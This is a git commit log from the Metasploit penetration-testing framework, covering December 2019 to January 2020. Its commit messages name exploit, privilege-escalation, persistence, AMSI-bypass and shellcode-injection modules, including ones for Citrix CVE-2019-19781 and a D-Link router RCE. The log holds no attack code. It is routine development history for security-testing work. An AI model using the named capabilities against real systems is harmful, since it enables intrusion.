William Vu 7646e43ccf Land #12776, PROTOCOL option for sunrpc_portmapper 2020-01-16 14:21:22 -06:00
William Vu bb583672bf Fix style 2020-01-16 14:21:09 -06:00
Metasploit 4ddb1204cc automatic module_metadata_base.json update 2020-01-16 14:10:03 -06:00
William Vu 6712458dbd Land #12758, attributes and immutable? methods 2020-01-16 14:01:29 -06:00
Metasploit 45d8e0f4d3 automatic module_metadata_base.json update 2020-01-16 13:35:47 -06:00
William Vu 441d6c3532 Add immutable? wrapper around attributes method 2020-01-16 13:25:09 -06:00
Adam Cammack 47a3d7fa42 Land #12836, Pin internal gem major versions 2020-01-16 13:23:46 -06:00
William Vu 6bb414ed53 Land #12757, _write_file_unix_shell randomization 2020-01-16 13:19:43 -06:00
William Vu c53e7703fc Land #12795, lwp-request CmdStager 2020-01-16 13:17:41 -06:00
William Vu 2a3f7d8b13 Update rex-exploitation to 0.1.22 2020-01-16 13:15:15 -06:00
Adam Cammack 4ee92a1554 Land #12823, Fix Lua bind payloads 2020-01-16 13:13:01 -06:00
Adam Cammack ab5f5ea74a Land #12808, Add job descriptions for UDP handlers 2020-01-16 13:08:19 -06:00
Metasploit ccd9c8f082 automatic module_metadata_base.json update 2020-01-16 12:14:35 -06:00
bwatters-r7 ee5e9dc922 Land #12832, DisablePayloadHandler replace strings with bools
Merge branch 'land-12832' into upstream-master
2020-01-16 12:10:34 -06:00
Metasploit 895099f82e Bump version of framework to 5.0.71 2020-01-16 12:04:20 -06:00
h00die f3c75e93f3 remove tailing double pounds 2020-01-16 11:57:52 -05:00
h00die a9bf72ac8c ## Options ## remove trailing ## 2020-01-16 11:55:13 -05:00
h00die 50881c899a h1 to h2 2020-01-16 11:46:36 -05:00
h00die dc01f2e99b remove s from application 2020-01-16 11:45:10 -05:00
h00die f970ea7963 example output to scenarios 2020-01-16 11:41:12 -05:00
h00die e4013846d3 more standardizations 2020-01-16 11:32:02 -05:00
h00die 947102e2fe sample output to scenarios 2020-01-16 11:15:06 -05:00
h00die b2e0950bba caps 2020-01-16 11:09:29 -05:00
h00die a1978c76a6 fix up spaces on options header 2020-01-16 10:52:13 -05:00
h00die 4b0ab94043 module options to options 2020-01-16 10:49:22 -05:00
h00die 2fff1f66e9 vulnerable application h1 to h2 2020-01-16 10:44:35 -05:00
h00die 3a4209a092 verification to verification steps 2020-01-16 10:41:12 -05:00
h00die c904b9d2f2 scenario to scenarios 2020-01-16 10:36:38 -05:00
Metasploit cebde261ad automatic module_metadata_base.json update 2020-01-16 07:59:59 -06:00
h00die c4d6feb0aa Land #12721, windows post module docs 2020-01-16 08:50:19 -05:00
h00die 9e1bc8afae doc updates 2020-01-16 08:48:31 -05:00
Jeffrey Martin d32c81b322 limit compatible gems in preparation for Rails 5 2020-01-15 15:54:53 -06:00
Metasploit 5c123e5c1d automatic module_metadata_base.json update 2020-01-15 10:26:33 -06:00
Spencer McIntyre 033a0d1868 Land #12782, add the Plantronics LPE module 2020-01-15 11:17:41 -05:00
h00die fa73709b3e documentation standardization 2020-01-14 21:02:53 -05:00
Dave York 7b14442ab0 replace strings with bools 2020-01-14 20:47:27 -05:00
Metasploit 2081215aae automatic module_metadata_base.json update 2020-01-14 17:17:10 -06:00
wvu-r7 2a31319256 Land #12828, enhanced check for Citrix scanner 2020-01-14 17:08:47 -06:00
Metasploit 1c1003ac59 Bump version of framework to 5.0.70 2020-01-14 13:30:44 -06:00
William Vu 0760319ddf Check for whitespace in [global] directive 2020-01-14 11:21:03 -06:00
Metasploit 4327e94b9f automatic module_metadata_base.json update 2020-01-14 11:03:41 -06:00
William Vu 491c36ccaa Land #12827, credit updates to Citrix exploit 2020-01-14 10:54:57 -06:00
William Vu eaeaae7607 Reformat credit 2020-01-14 10:46:04 -06:00
Jeffrey Martin 1cd75d9f40 document additional PoC authors 2020-01-14 10:22:26 -06:00
Metasploit 5251614c3a automatic module_metadata_base.json update 2020-01-14 08:39:17 -06:00
Shelby Pace 429329c45d Land #12801, add WePresent cmd injection module 2020-01-14 08:29:40 -06:00
Jacob Baines 009ec162de Use string interpolation and removed rundant namespace and return statement 2020-01-14 07:52:30 -05:00
Jacob Baines ea6263e6bb Removed redundant return statement 2020-01-14 06:52:24 -05:00
Jacob Baines ecb825ea71 Remove redundant parameters. 2020-01-14 06:40:40 -05:00
Jacob Baines fa661e58ca Unified the POST request into one function. Fixed hardcoding of SSL. Fixed Author formatting. Fixed connection failure check in check function 2020-01-14 06:22:00 -05:00
Jacob Baines 0308f76bbd Switched to vars_post in send_request_cgi and removed unnecessary documentation 2020-01-14 05:42:06 -05:00
L 58a3f88907 update CacheSize 2020-01-14 17:34:47 +08:00
L d6041f1af5 fix bind_lua 2020-01-14 17:10:43 +08:00
Metasploit 1832f3fd8a automatic module_metadata_base.json update 2020-01-14 01:00:16 -06:00
William Vu a1d9985143 Land #12821, exploit/linux/http/webmin_backdoor
Moved from exploit/unix/webapp/webmin_backdoor.
2020-01-14 00:56:28 -06:00
William Vu 5c4189fdb4 Move unix/webapp/webmin_backdoor to linux/http 2020-01-14 00:50:04 -06:00
Metasploit b6a6ea5d28 automatic module_metadata_base.json update 2020-01-14 00:49:19 -06:00
William Vu 1636008db6 Land #12820: Fix #12813, send_request_cgi change 2020-01-14 00:45:03 -06:00
William Vu 002fe64057 Update pulse_secure_file_disclosure, too
Since I bypassed query/vars_get, send_request_cgi is fine now.
2020-01-14 00:34:06 -06:00
William Vu 16d06b3baa Prefer send_request_cgi over send_request_raw 2020-01-14 00:25:18 -06:00
Metasploit bb58cf55fb automatic module_metadata_base.json update 2020-01-13 22:44:31 -06:00
William Vu 8e553c1478 Land #12816, Citrix CVE-2019-19781 exploit 2020-01-13 22:40:36 -06:00
William Vu 72d06b0e9c Update Pulse Secure file disclosure module
Just the comment.
2020-01-13 22:27:29 -06:00
William Vu 3a8b630262 Set a sane default HttpClientTimeout
Totally forgot I did this for Pulse Secure.
2020-01-13 22:26:26 -06:00
William Vu 92de0b132f Make HttpClientTimeout a float, f'ing finally 2020-01-13 22:25:18 -06:00
William Vu cd65efb259 Revert tuned timeout in favor of HttpClientTimeout
Bad habit!
2020-01-13 22:02:12 -06:00
William Vu c71a75950a Make cmd/unix/generic timeout configurable 2020-01-13 21:35:10 -06:00
William Vu 93c69b3a96 Bump send_request_cgi timeout to 3.5s for shells 2020-01-13 21:29:28 -06:00
William Vu d996ba5b2c Revert future-proofed yet shitty case statement 2020-01-13 21:09:07 -06:00
William Vu a635676604 Update wording in module description 2020-01-13 21:04:07 -06:00
William Vu 4cbbe23b11 Improve wording in doc 2020-01-13 21:02:56 -06:00
William Vu 249702ea51 Explain credit in scanner 2020-01-13 20:57:35 -06:00
William Vu b4550933bb Update module doc 2020-01-13 20:51:58 -06:00
William Vu af4505f007 Clean up module 2020-01-13 20:48:18 -06:00
Metasploit 0359a79792 automatic module_metadata_base.json update 2020-01-13 20:26:34 -06:00
William Vu fe23d4b72b Clobber datastore in CheckModule again!
Seems adding VHOST and SSL wasn't enough. This is a stopgap...
2020-01-13 20:25:07 -06:00
William Vu 04084f84f7 Run rubocop -a 2020-01-13 20:25:07 -06:00
William Vu a45821b706 Rename module 2020-01-13 20:25:07 -06:00
William Vu b4a08503f8 Merge remote-tracking branch 'upstream/master' into pr/12816 2020-01-13 20:25:00 -06:00
William Vu 6c4970f901 Land #12819: Fix #12813, Twitter handle correction 2020-01-13 20:21:46 -06:00
William Vu c9041dae28 Fix @altjx's Twitter handle (@altonjx) 2020-01-13 20:19:48 -06:00
Metasploit 55a3f2aac1 automatic module_metadata_base.json update 2020-01-13 18:25:38 -06:00
William Vu 6498a7c231 Land #12813, Citrix CVE-2019-19781 scanner 2020-01-13 18:16:51 -06:00
William Vu 99235c729f Clean up module doc 2020-01-13 18:05:42 -06:00
William Vu 4ac7f81542 Add Twitter handles 2020-01-13 17:54:28 -06:00
William Vu 3354e69c47 Improve smb.conf check and add PATH option 2020-01-13 17:52:14 -06:00
William Vu 332afe89af Update module doc 2020-01-13 16:45:44 -06:00
William Vu 94b6b6d082 Clean up module 2020-01-13 16:39:05 -06:00
William Vu d7deb4e80a Run rubocop -a 2020-01-13 16:39:05 -06:00
William Vu f1cc40bd77 Rename module 2020-01-13 16:39:05 -06:00
kalba-security c30cd8e0cc Add documentation 2020-01-14 00:31:44 +02:00
secenv eaddce910f Documentation for dlink_dir859_subscribe_exec 2020-01-13 13:27:42 -03:00
secenv 1429a496da Remove _telnet from filename
No need to keep it, it drops meterpreter as payload now.
2020-01-13 13:18:43 -03:00
secenv eab0bd5755 Randomize "Callback" header URL 2020-01-13 11:39:23 -03:00
RAMELLA Sébastien 5d3ad626e6 add. documentation 2020-01-13 18:22:09 +04:00
Metasploit b235f26b60 automatic module_metadata_base.json update 2020-01-12 17:24:51 -06:00
Brent Cook 20cf419e18 Land #12797, improve BlueKeep over remote networks 2020-01-12 17:15:29 -06:00
RAMELLA Sébastien 1570118a14 fix: again chmod 644 WTF! 2020-01-13 01:43:15 +04:00
RAMELLA Sébastien a64b0fa9e7 add. python staged meterpreter support 2020-01-13 01:25:29 +04:00
RAMELLA Sébastien c323df180a fix. file perms to 664 2020-01-12 22:10:23 +04:00
zerosum0x0 aed9b45229 Merge pull request #5 from busterb/bkmouse
move rdp_move_mouse to rdp library, add GROOMDELAY
2020-01-12 10:52:27 -07:00
RAMELLA Sébastien 50637d0d91 add initial source code 2020-01-12 21:12:14 +04:00
Brent Cook 33dadefd53 move rdp_move_mouse to rdp library, add GROOMDELAY 2020-01-12 08:19:44 -06:00
Brent Cook 476eabbffe Land #12811, add newline when printing raw payloads to the console 2020-01-12 07:01:34 -06:00
Brent Cook 55d782c640 Land #12812, update port processing for openvas 2020-01-12 06:52:25 -06:00
Alton Johnson b3bf82be07 Changed permission from executable to just readable 2020-01-11 19:31:38 -05:00
Jeffrey Martin 25e0355951 update port processing for openvas
Port in openvas OMP version 7.0 reports serialize in a new format.
<ports max="1000" start="1"><count>3</count>
  <port>general/tcp<host>192.168.8.100</host><severity>2.6</severity><threat>Low</threat></port>
  <port>general/CPE-T<host>192.168.8.100</host><severity>0.0</severity><threat>Log</threat></port>
  <port>general/icmp<host>192.168.8.100</host><severity>0.0</severity><threat>Log</threat></port>
  <port>445/tcp (IANA: microsoft-ds)<host>192.168.8.100</host><severity>9.3</severity><threat>High</threat></port>
  <port>139/tcp (IANA: netbios-ssn)<host>192.168.8.100</host><severity>0.0</severity><threat>Log</threat></port>
  <port>135/tcp (IANA: epmap)<host>192.168.8.100</host><severity>5.0</severity><threat>Medium</threat></port>
</ports>
2020-01-11 15:15:56 -06:00
kalba-security 03d6d1aed5 Add citrix_directory_traversal module to /modules/auxiliary/scanner/http/ 2020-01-11 22:45:00 +02:00
L 0876b8e7d7 enhancement payload generate raw 2020-01-11 19:43:04 +08:00
Metasploit d507612817 automatic module_metadata_base.json update 2020-01-10 02:40:26 -06:00
Tim W 2ea5bd139a Land #12792, Fix #12791, check for nil response on connection failure in efs_fmws_userid_bof 2020-01-10 16:31:32 +08:00
L 7f82816065 Add description udp listening information 2020-01-10 14:58:36 +08:00
bluesentinelsec 7eeb8c33eb Added new post exploitation module: 'Install OpenSSH for Windows' 2020-01-09 19:58:31 -05:00
Adam Cammack 8b18f86169 Land #12806, Properly invoke bundler in Dockerfile 2020-01-09 13:57:56 -06:00
Metasploit 43daaa9ce5 Bump version of framework to 5.0.69 2020-01-09 12:05:24 -06:00
Jeffrey Martin c169598819 Need to force on bunlde when using clean. 2020-01-09 11:28:43 -06:00
Metasploit fd28cdbb89 automatic module_metadata_base.json update 2020-01-09 09:23:05 -06:00
Tim W 2568f86d57 Land #12804, add support for macOS in web_delivery 2020-01-09 23:12:37 +08:00
Francesco Soncina abb95ef465 feat(web_delivery): use disown on linux too 2020-01-09 15:02:04 +01:00
Francesco Soncina 1f191bc73e feat: support osx in web_delivery 2020-01-09 14:59:47 +01:00
Metasploit 8e4ddf1b2b automatic module_metadata_base.json update 2020-01-09 07:38:01 -06:00
Tim W dabd0df81a Land #12799, fix python web_delivery when SSL=true 2020-01-09 21:28:42 +08:00
Jacob Baines caa02c7d2e Added exploit module for CVE-2019-3929 2020-01-09 08:03:52 -05:00
Francesco Soncina 542f582fed fix: ignore SSL cert in python web_delivery 2020-01-08 13:22:03 +01:00
Tim W 6cb1feb2a6 Land #12779, Fix #12777, add PrependSetuid and PrependSetresuid on armle 2020-01-07 14:47:56 +08:00
Tim W 13a7bf17e2 fix asm comments 2020-01-07 14:45:41 +08:00
zerosum0x0 b76f2a9e08 inject mouse move events, verbose groom progress/elapsed time, danger zone warnings 2020-01-06 23:42:01 -07:00
Leo Le Bouter 756879d3d6 Fix msftidy 2020-01-06 18:14:58 +01:00
Brendan Coles c2a12949a0 Add lwp-request CmdStager 2020-01-06 16:47:17 +00:00
leo-lb f1ae217bb0 Single-core machines are safe from this exploit. 2020-01-06 05:21:51 +01:00
Brendan Coles 326fd26219 Check for nil response due to connection failure 2020-01-05 21:39:34 +00:00
Dhiraj Mishra 8034db2c5f Update modules/auxiliary/scanner/http/tvt_nvms_traversal.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2020-01-05 12:53:46 +04:00
Dhiraj Mishra 13b72282a6 Update modules/auxiliary/scanner/http/tvt_nvms_traversal.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2020-01-05 12:53:38 +04:00
Dhiraj Mishra 4b9685005e Update modules/auxiliary/scanner/http/tvt_nvms_traversal.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2020-01-05 12:53:03 +04:00
Dhiraj Mishra da06ecc83b Update modules/auxiliary/scanner/http/tvt_nvms_traversal.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2020-01-05 12:52:47 +04:00
h00die 4d273a94b6 cleanup spaces at eol 2020-01-04 13:51:56 -05:00
h00die 0edaf1fc54 add optimize kernel to hashcat 2020-01-04 13:38:48 -05:00
Brendan Coles 30e86f3779 Land #12788, Add rds_rds_page_copy_user_priv_esc re-exploitation notes 2020-01-04 18:24:55 +00:00
Brendan Coles 424d869b2f Land #12785, Fix aux/scanner/telnet/telnet_login prompt parsing regex 2020-01-04 17:55:27 +00:00
h00die f822a13926 update rds docs 2020-01-04 12:47:36 -05:00
h00die 22a1c09715 fix telnet login with a / in it being parsed as a regex 2020-01-04 10:50:47 -05:00
Brendan Coles c8fb76182c Use PROGRAMDATA environment variable 2020-01-03 20:32:01 +00:00
Brendan Coles b3e9d9aee9 Add Plantronics Hub SpokesUpdateService Privilege Escalation 2020-01-03 20:13:27 +00:00
Nicholas Starke dd240e335c Minor formatting fixes for Setuid 2020-01-03 09:51:54 -06:00
Nicholas Starke 4aaca5031b Adding ARMLE Support for PrependSetresuid 2020-01-03 09:49:40 -06:00
Nicholas Starke 1b72d80dd2 Adding PrependSetuid support for ARMLE Targets
This commit adds support for PrependSetuid for ARMLE targets to
msfvenom.  I tested the output binaries successfully on a
Raspberry Pi.
2020-01-03 08:03:54 -06:00
Metasploit add7e844b0 Bump version of framework to 5.0.68 2020-01-02 12:03:33 -06:00
Brent Cook 30ddabba92 add PROTOCOL option for sunrpc_portmapper 2020-01-02 09:52:18 -06:00
Dhiraj Mishra e23c67d129 tvt_nvms_traversal.md 2020-01-01 15:34:04 +05:30
Dhiraj Mishra 1263292cde tvt_nvms_traversal.rb 2020-01-01 15:06:18 +05:30
secenv 0d592a3fca Replace send_request_cgi with send_request_raw
msftidy complains about not using vars_get... Which won't work in this case.
2019-12-31 13:36:09 -03:00
secenv b6731a6d1c Remove printf as flavor
There is no printf in this router.
2019-12-31 13:10:59 -03:00
secenv bedb1132b7 Convert to staged exploit
Works with meterpreter now :D
2019-12-31 13:08:51 -03:00
secenv 5f2c29946c Remove the prompt variable + some EOL spaces; modify rand()
As suggested by @bcoles
2019-12-31 11:19:59 -03:00
secenv 2eec026a28 D-Link DIR-859 Unauthenticated RCE (CVE-2019-17621)
Exploits a vulnerability in the /gena.cgi UPnP endpoint in D-Link DIR-859 (and potentially other) SOHO routers. CVE ID: 2019-17621.
Code based on modules/exploits/linux/http/dlink_dir300_exec_telnet.rb
2019-12-30 19:22:04 -03:00
Metasploit cd566846dd automatic module_metadata_base.json update 2019-12-27 04:04:24 -06:00
Brent Cook e8cd136e56 Land #12712, add OpenBSD Dynamic Loader chpass privesc 2019-12-27 03:56:02 -06:00
Metasploit d2e2dcf85e automatic module_metadata_base.json update 2019-12-26 13:59:49 -06:00
Brent Cook f4a0ef2ee9 Land #12640, improve Wordpress check versions
Merge remote-tracking branch 'upstream/pr/12640' into upstream-master
2019-12-26 13:47:04 -06:00
Brent Cook 8061cdf974 Land #12760, improvements to linux/local/bpf_priv_esc module 2019-12-26 13:43:54 -06:00
Brent Cook 4de482f57a Land #12433, add Metasploit reverse_http handler DoS module 2019-12-26 13:40:14 -06:00
Brent Cook d87f752591 add module docs 2019-12-26 13:31:38 -06:00
Brent Cook b177a8235d adjust indentation 2019-12-26 13:05:21 -06:00
Brent Cook 3dac95ed32 fix enumeration handling 2019-12-26 13:00:52 -06:00
Metasploit 03971e9607 Bump version of framework to 5.0.67 2019-12-26 12:04:30 -06:00
Brendan Coles a7b63557db Notify operator that cleanup of crontab is required 2019-12-26 16:21:44 +00:00
Brendan Coles d449a93b44 Add Msf::Post::File.attributes method 2019-12-25 07:34:44 +00:00
Brendan Coles f04cf4f544 Randomize Msf::Post::File _write_file_unix_shell test_str 2019-12-25 05:15:33 +00:00
Metasploit 75dc82f764 automatic module_metadata_base.json update 2019-12-23 19:21:25 -06:00
wvu-r7 e89a596e5c Land #12754, ForceExploit for 4.3BSD exploits 2019-12-23 19:13:42 -06:00
William Vu 01b6bc112d Rescue EOFError for good measure 2019-12-23 19:02:13 -06:00
William Vu 81f8f4f67f Add ForceExploit to 4.3BSD (VAX) exploits 2019-12-23 18:17:09 -06:00
Metasploit 337d18d35c automatic module_metadata_base.json update 2019-12-23 14:57:22 -06:00
Brent Cook ce991071e4 Land #12524, update most python code with python 3 compatibility 2019-12-23 14:49:08 -06:00
Metasploit 341807729c automatic module_metadata_base.json update 2019-12-22 09:30:53 -06:00
h00die 4f8382fc98 Land #12744, rds lpe updates and improvements 2019-12-22 10:21:03 -05:00
h00die 4e1e8d344f rds reliability, stability notes 2019-12-22 10:20:00 -05:00
Brendan Coles 4c0fc3a505 Add OpenBSD Dynamic Loader chpass Privilege Escalation (CVE-2019-19726) 2019-12-22 08:46:43 +00:00
Metasploit 0c4de2d891 automatic module_metadata_base.json update 2019-12-21 14:58:31 -06:00
h00die 7a027216cc Land #12701 linux priv esc on reptile_cmd rootkit 2019-12-21 15:50:07 -05:00
h00die 01af23df26 Land #12750, haKCers.txt banner update 2019-12-21 07:37:16 -05:00
h00die 155a2eb74a Land #12707, more module docs 2019-12-21 07:15:10 -05:00
h00die 6b746e332f module doc formatting 2019-12-21 07:14:25 -05:00
Brent Cook 20e6568f00 revert killerbee to python2 2019-12-20 09:44:29 -06:00
Cory Kennedy a8f8502d19 Update haKCers.txt
Corrected minor (but major - sorry!) transposition error on line 18.
2019-12-20 09:05:49 -06:00
Metasploit e0374955a3 Bump version of framework to 5.0.66 2019-12-19 12:09:27 -06:00
Onur ER a45e4b6d37 Update lib/rex/proto/http/client_request.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-12-19 20:43:30 +03:00
Brent Cook d50058cbc6 update to python standards 2019-12-19 09:22:48 -06:00
Brent Cook e8bbf2f117 fix remaining python3 compat bugs 2019-12-19 09:21:24 -06:00
Brent Cook 0a846aaeb6 convert to standard python format 2019-12-19 08:59:36 -06:00
Brent Cook 3cc6b8f8fd update to standard python formatting 2019-12-19 08:58:40 -06:00
Brent Cook d64f53e462 don't hide exception data 2019-12-19 08:56:23 -06:00
Brent Cook ce69efcfa2 python3 fixes, don't hide exception data 2019-12-19 08:56:00 -06:00
Brent Cook 3a1a576747 remove nasm ignored keyword 2019-12-19 08:44:13 -06:00
Brent Cook 25ce890d36 fix remaining python3 compat issues, add #! 2019-12-19 08:44:02 -06:00
Metasploit 1d351daf00 automatic module_metadata_base.json update 2019-12-18 15:51:28 -06:00
Shelby Pace 894927d960 Land #12693, add Comahawk privilege escalation 2019-12-18 15:40:51 -06:00
Brendan Coles fce750147c Update documentation 2019-12-18 20:46:25 +00:00
Brendan Coles af462ffb0d Move documentation 2019-12-18 20:36:14 +00:00
bwatters-r7 b36c191fc7 With feeling... 2019-12-18 14:33:13 -06:00
bwatters-r7 f9fbe96145 more bcoles suggestions 2019-12-18 14:25:43 -06:00
Brendan Coles c0da9e2202 Rename exploit/linux/local/rds_priv_esc -> exploit/linux/local/rds_rds_page_copy_user_priv_esc 2019-12-18 20:05:19 +00:00
Metasploit 4a5b8c6230 automatic module_metadata_base.json update 2019-12-18 12:22:48 -06:00
wvu-r7 d61872f8ba Land #12742, bsd/vax/shell_reverse_tcp style fix 2019-12-18 12:14:43 -06:00
William Vu b81d78c7a5 Fix style in bsd/vax/shell_reverse_tcp payload 2019-12-18 12:11:56 -06:00
Francesco Soncina 671f80896a Update payload_inject.rb 2019-12-18 16:06:26 +01:00
Francesco Soncina 988971bd94 Update shellcode_inject.rb 2019-12-18 16:05:37 +01:00
Kenneth LaCroix d8c93b9e18 Update enum_logged_on_users.md 2019-12-17 20:50:07 -07:00
Kenneth LaCroix 473dcd5359 Create phish_windows_credentials.md 2019-12-17 18:55:45 -07:00
Pearce Barry 4cc12f1890 Land #12740, Remove method call side-effects 2019-12-17 18:17:34 -06:00
Jeffrey Martin e727c15ef5 Land #12677, Better error when JtR not adequate 2019-12-17 15:55:32 -06:00
Brent Cook 843f481923 Land #12738, add support for Mdm::Module::Ref objects when linking refs to vulns 2019-12-17 14:30:39 -06:00
Jeffrey Martin 0aaa4265be do not remove workspace needed for other reports 2019-12-17 14:11:59 -06:00
Jeffrey Martin e5ce6dc8de do not delete workspace reference 2019-12-17 14:11:58 -06:00
Jeffrey Martin aaddc9d8a5 don't rely on side-effects in db util function 2019-12-17 14:11:58 -06:00
Brent Cook 7386f66de5 Land #12737, further improvements to CheckModule mixin 2019-12-17 13:29:18 -06:00
Jeffrey Martin 31ed5d553f ensure ref name exists 2019-12-17 11:00:00 -06:00
Francesco Soncina f22c6f2f63 add support for PPID spoofing to migrate 2019-12-17 16:39:18 +01:00
Tim W 58bf71d555 simplify amsi resource url 2019-12-17 17:35:29 +08:00
Metasploit 2820a14dcb automatic module_metadata_base.json update 2019-12-16 19:57:59 -06:00
William Vu c43106216f Improve error handling 2019-12-16 19:51:50 -06:00
William Vu 11b8ef006c Return CheckCode associated with RHOST 2019-12-16 19:51:50 -06:00
William Vu 1f0d491a4f Add print saying what module 2019-12-16 19:51:50 -06:00
William Vu 442f36e466 Complete refactor of CheckModule 2019-12-16 19:51:50 -06:00
wvu-r7 7ce2c63935 Land #12702, has_check? for modules 2019-12-16 19:50:19 -06:00
Francesco Soncina f9d2f9fa2e Update shellcode_inject.rb 2019-12-17 01:42:52 +01:00
Francesco Soncina 664b196388 Update payload_inject.rb 2019-12-17 01:35:24 +01:00
Francesco Soncina cbd225dfed Update shellcode_inject.rb 2019-12-17 01:34:12 +01:00
Francesco Soncina 5c7c071094 add support for PPID spoofing to shellcode_inject 2019-12-17 01:31:40 +01:00
Francesco Soncina 64c1f557c6 add support for PPID spoofing to payload_inject 2019-12-17 01:19:45 +01:00
Francesco Soncina 30dcc3d78f add support for ParentPid 2019-12-17 01:04:55 +01:00
Brent Cook 4595dcd815 Land #12735, Add smcintyre-r7 to the .mailmap file 2019-12-16 17:51:45 -06:00
Metasploit ca2fa68452 automatic module_metadata_base.json update 2019-12-16 17:50:29 -06:00
Brent Cook fde942bc37 Land #12517, replace CheckScanner mixin with CheckModule, which works with anything 2019-12-16 17:40:10 -06:00
Jeffrey Martin b786a44c2e support Mdm::Module::Ref object when linking vulns 2019-12-16 17:16:01 -06:00
Spencer McIntyre 8f31360a8c Add smcintyre-r7 to the .mailmap file 2019-12-16 17:09:56 -06:00
William Vu 14b6282e51 Update other error to CheckCode message 2019-12-16 13:43:00 -06:00
wvu-r7 f23ec6bc88 Add instantiation error to CheckCode
It's better here, now that it's supported.

Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-12-16 13:32:56 -06:00
wvu-r7 7c071d2254 Remove instantiation error
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-12-16 13:28:34 -06:00
Onur ER b29523fc2a Added Array Handling
Handle the repeated key query string 
https://github.com/rapid7/metasploit-framework/pull/12704#discussion_r357748834
2019-12-16 22:01:32 +03:00
bwatters-r7 66dcbc5d99 Stupid typo... 2019-12-16 12:54:48 -06:00
bwatters-r7 06bcef3670 bcoles suggested chganges 2019-12-16 12:50:41 -06:00
Pearce Barry fe3a6a30b5 Add missing 'JtR' match back in, strip trailing char. 2019-12-16 12:28:50 -06:00
Metasploit c6bae91b9d automatic module_metadata_base.json update 2019-12-16 11:47:59 -06:00
Brent Cook 9cc02cb51f Land #12643, add additional example exploit modules 2019-12-16 11:34:33 -06:00
Brent Cook e1e668d7da Land #12651, add OpenMRS deserialization exploit 2019-12-16 11:31:24 -06:00
Brent Cook 9f99ab50bd Land #12732, lock rubygems for Travis and Docker unbreaking builds 2019-12-16 11:29:08 -06:00
Jeffrey Martin e18016b5f0 also lock rubygems in Travis for now 2019-12-16 10:53:08 -06:00
Jeffrey Martin f1db8caa79 lock rubygems version for Docker image
Latest rubygems release for 3.1.0 vendors bundler 2.1.0 creating
compatibilty issues.  Lock for now until all relates issues can be
addressed.
2019-12-16 10:05:07 -06:00
Brent Cook 90bb65b756 Land #12711, return correct values for credential proxy methods 2019-12-16 09:00:38 -06:00
Pearce Barry 70fc02863b Update regex to work across more JtR versions. 2019-12-16 08:35:10 -06:00
Metasploit eb712c6cda automatic module_metadata_base.json update 2019-12-16 02:29:45 -06:00
Christophe De La Fuente 42a60034f2 Land #12725, Bash profile persistence module 2019-12-16 09:19:08 +01:00
Kenneth LaCroix ba25cb3b31 Update enum_patches.md 2019-12-15 16:46:55 -07:00
Kenneth LaCroix 4b221a497e OS 2019-12-15 16:45:57 -07:00
Metasploit 2a4e04f3cd automatic module_metadata_base.json update 2019-12-15 06:18:12 -06:00
h00die 1ff925eac9 Land #12727, netfilter_priv_esc_ipv4 improvements 2019-12-15 07:07:40 -05:00
Metasploit 93c8855fe3 automatic module_metadata_base.json update 2019-12-15 05:36:28 -06:00
h00die eb8814d5fe Land #12697, module docs 2019-12-15 06:25:44 -05:00
h00die 3da716b21a numbering fix 2019-12-15 06:25:07 -05:00
Brendan Coles dd41892123 Update netfilter_priv_esc_ipv4 exploit 2019-12-15 07:17:42 +00:00
bluesentinelsec c43330934b New module: Bash Profile Persistence 2019-12-14 21:40:18 -05:00
Kenneth LaCroix 3257b8b4cc enum_patches 2019-12-14 15:58:45 -07:00
Kenneth LaCroix b007eea2b8 Update screen_spy.md 2019-12-14 14:37:59 -07:00
Kenneth LaCroix 244a8ec136 More formatting 2019-12-14 13:53:01 -07:00
Kenneth LaCroix dc02f5752d More formatting. 2019-12-14 13:46:46 -07:00
Francesco Soncina a3a25b193e serve AMSI/SBL bypass separately 2019-12-14 19:49:53 +01:00
Francesco Soncina e0a3af39aa expose bypass_powershell_protections 2019-12-14 19:48:53 +01:00
Francesco Soncina c8d4dfee7e http-server: fix bug with random uris 2019-12-14 19:47:06 +01:00
Onur ER 3be3a398ae Update and rename documentation/modules/exploit/linux/http/opennetadmin_ping_cmd_injection.md to documentation/modules/exploit/unix/webapp/opennetadmin_ping_cmd_injection.md 2019-12-14 16:33:13 +03:00
Onur ER 548abf4364 Rename modules/exploits/multi/http/opennetadmin_ping_cmd_injection.rb to modules/exploits/unix/webapp/opennetadmin_ping_cmd_injection.rb 2019-12-14 16:26:19 +03:00
Onur ER 44636f4975 Update opennetadmin_ping_cmd_injection.rb 2019-12-14 16:24:27 +03:00
Metasploit 8b09cd6cb7 automatic module_metadata_base.json update 2019-12-13 16:51:58 -06:00
h00die 5fc561e916 Land #12661, more docs 2019-12-13 17:42:36 -05:00
bwatters-r7 6538a4188d Space-suggested updates 2019-12-13 15:25:01 -06:00
Jeffrey Martin 10770b40a3 less code same result 2019-12-13 14:09:03 -06:00
Kenneth LaCroix 69fe5494c3 Create enum_logged_on_users.md 2019-12-13 12:52:29 -07:00
Kenneth LaCroix 1cd8e56561 Formatting 2019-12-13 11:34:00 -07:00
Kenneth LaCroix b1f68d18e2 Formatting 2019-12-13 11:26:43 -07:00
Onur ER 7730c5359d Update modules/exploits/multi/http/opennetadmin_ping_cmd_injection.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-12-13 16:39:17 +03:00
Kenneth LaCroix 59d9834432 Merge pull request #1 from h00die/land-12661
doc touchup
2019-12-13 04:20:53 -07:00
Adam Galway f8b8dc1c80 improve dertermining module check support 2019-12-13 11:02:21 +00:00
Tim 0e076d286e Update modules/exploits/multi/browser/chrome_array_map.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-12-13 12:47:21 +07:00
Tim W 4dda0a8e40 Land #12714, fix encrypted_shell warning 2019-12-13 13:42:59 +08:00
Kenneth LaCroix c103e87f03 Create screen_spy.md, Update tcpnetstat.md 2019-12-12 22:07:07 -07:00
Kenneth LaCroix f26d322533 Create tcpnetstat.md 2019-12-12 22:00:47 -07:00
h00die a945095ddf doc touchup 2019-12-12 16:58:14 -05:00
Metasploit 7679083e4f automatic module_metadata_base.json update 2019-12-12 15:29:15 -06:00
bwatters-r7 6be4729a02 Land #12391, Add shellcode_inject post module
Merge branch 'land-12391' into upstream-master
2019-12-12 15:20:51 -06:00
